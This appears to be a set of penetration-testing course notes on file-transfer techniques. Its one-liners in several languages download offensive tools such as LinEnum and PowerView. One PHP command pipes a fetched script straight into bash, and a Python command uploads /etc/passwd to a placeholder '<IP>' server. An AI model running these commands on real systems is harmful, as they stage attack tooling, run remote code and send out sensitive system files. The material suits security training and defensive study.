# Python
### Python 2 - Download
```python
python2.7 -c 'import urllib;urllib.urlretrieve ("<https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh>", "Linenum.sh")'
```
### Python 3 - Download
```python
python3 -c 'import urllib.request;urllib.request.urlretrieve("<https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh>", "LinEnum.sh")'
```
# PHP
### PHP Download with `file_get_contents()`
```php
php -r '$file = file_get_contents("<https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh>"); file_put_contents("LinEnum.sh", $file);'
```
An alternative to `file_get_contents()` and `file_put_contents()` is the `fopen()` module.
### PHP Download with `fopen()`
```php
php -r 'const BUFFER = 1024; $fremote = fopen("<https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh>", "rb"); $flocal = fopen("LinEnum.sh", "wb"); while ($buffer = fread($fremote, BUFFER)) { fwrite($flocal, $buffer); } fclose($flocal); fclose($fremote);'
```
### PHP Download a file and pipe it to Bash
The URL can be used as a filename with the @file function if the fopen wrappers have been enabled.
```php
php -r '$lines = @file("<https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh>"); foreach ($lines as $line_num => $line) { echo $line; }' | bash
```
# Other Programming Languages
### Ruby - Download a File
```ruby
ruby -e 'require "net/http"; File.write("LinEnum.sh", Net::HTTP.get(URI.parse("<https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh>")))'
```
### Perl - Download a File
```perl
perl -e 'use LWP::Simple; getstore("<https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh>", "LinEnum.sh");'
```
### Javascript
`wget.js`
```jsx
var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
WinHttpReq.Open("GET", WScript.Arguments(0), /*async=*/false);
WinHttpReq.Send();
BinStream = new ActiveXObject("ADODB.Stream");
BinStream.Type = 1;
BinStream.Open();
BinStream.Write(WinHttpReq.ResponseBody);
BinStream.SaveToFile(WScript.Arguments(1));
```
We can use the following command from a Windows CMD or PowerShell terminal to execute our JavaScript code and download a file.
```powershell
cscript.exe /nologo wget.js <https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1> PowerView.ps1
```
### VBScript
VBScript (Microsoft Visual Basic Scripting Edition) is an Active Scripting language developed by Microsoft that is modeled on Visual Basic. VBScript has been installed by default in every desktop release of Microsoft Windows since Windows 98.
`wget.vbs`
```vbnet
dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
dim bStrm: Set bStrm = createobject("Adodb.Stream")
xHttp.Open "GET", WScript.Arguments.Item(0), False
xHttp.Send
with bStrm
.type = 1
.open
.write xHttp.responseBody
.savetofile WScript.Arguments.Item(1), 2
end with
```
We can use the following command from a Windows CMD or PowerShell terminal to execute our VBScript code and download a file
```powershell
cscript.exe /nologo wget.vbs <https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1> PowerView.ps1
```
# Upload Operations
### Python 3
- Python3 `requests` module allows you to send HTTP requests using Python.
- We can use the following code if we want to upload a file to our Python3 uploadserver
Starting the Python uploadserver module
```python
python3 -m uploadserver
File upload available at /upload
Serving HTTP on 0.0.0.0 port 8000 (<http://0.0.0.0:8000/>) ...
```
Uploading a file using a Python one-liner
```python
python3 -c 'import requests;requests.post("http://<IP>:8000/upload", files={"files":open("/etc/passwd","rb")})'
import requests
URL = "http://<IP>:8000/upload"
file = open("/etc/passwd","rb")
r = requests.post(url,files={"files":file})
```